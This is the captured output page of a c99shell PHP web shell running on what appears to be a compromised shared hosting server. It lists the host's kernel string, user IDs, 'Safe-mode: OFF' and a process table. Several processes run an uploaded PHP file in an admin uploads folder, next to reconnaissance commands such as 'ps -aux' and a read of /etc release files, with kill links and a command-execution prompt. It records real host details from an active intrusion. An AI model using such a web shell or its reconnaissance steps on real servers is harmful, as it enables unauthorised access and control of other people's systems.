Software: Apache. PHP/5.6.40 uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24 uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) Safe-mode: OFF (not secure) /usr/local/share/perl5/Test/Alien/ drwxr-xr-x |
Processes: | ||||||||||||||||||||||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||||
cp949260 | 3142474 | 0.4 | 0.0 | 330380 | 18620 | ? | Rs 19:55 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 3142042 | 0.4 | 0.0 | 311044 | 19084 | ? | Ss 19:55 0:00 lsphp | KILL | ||||||||||||||||||||||
cp949260 | 3074463 | 0.1 | 0.0 | 311044 | 19040 | ? | Ss 19:35 0:02 lsphp | KILL | ||||||||||||||||||||||
cp949260 | 3142882 | 3.0 | 0.0 | 313480 | 9940 | ? | Ss 19:55 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 3142926 | 0.0 | 0.0 | 313480 | 9904 | ? | Ss 19:55 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 3142923 | 2.0 | 0.0 | 313480 | 9904 | ? | Ss 19:55 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 3142888 | 2.0 | 0.0 | 313480 | 9904 | ? | Ss 19:55 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 3142931 | 0.0 | 0.0 | 311924 | 8284 | ? | Rs 19:55 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 3142909 | 0.0 | 0.0 | 13084 | 1024 | ? R 19:55 0:00 ps -aux | KILL | |||||||||||||||||||||||
cp949260 | 3142925 | 0.0 | 0.0 | 13084 | 1020 | ? R 19:55 0:00 ps -aux | KILL | |||||||||||||||||||||||
cp949260 | 3142930 | 0.0 | 0.0 | 11460 | 1252 | ? S 19:55 0:00 sh -c cat /etc/*-realise | KILL | |||||||||||||||||||||||
cp949260 | 3142929 | 0.0 | 0.0 | 13080 | 932 ? S 19:55 0:00 ps -aux | KILL |
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.455 ]-- |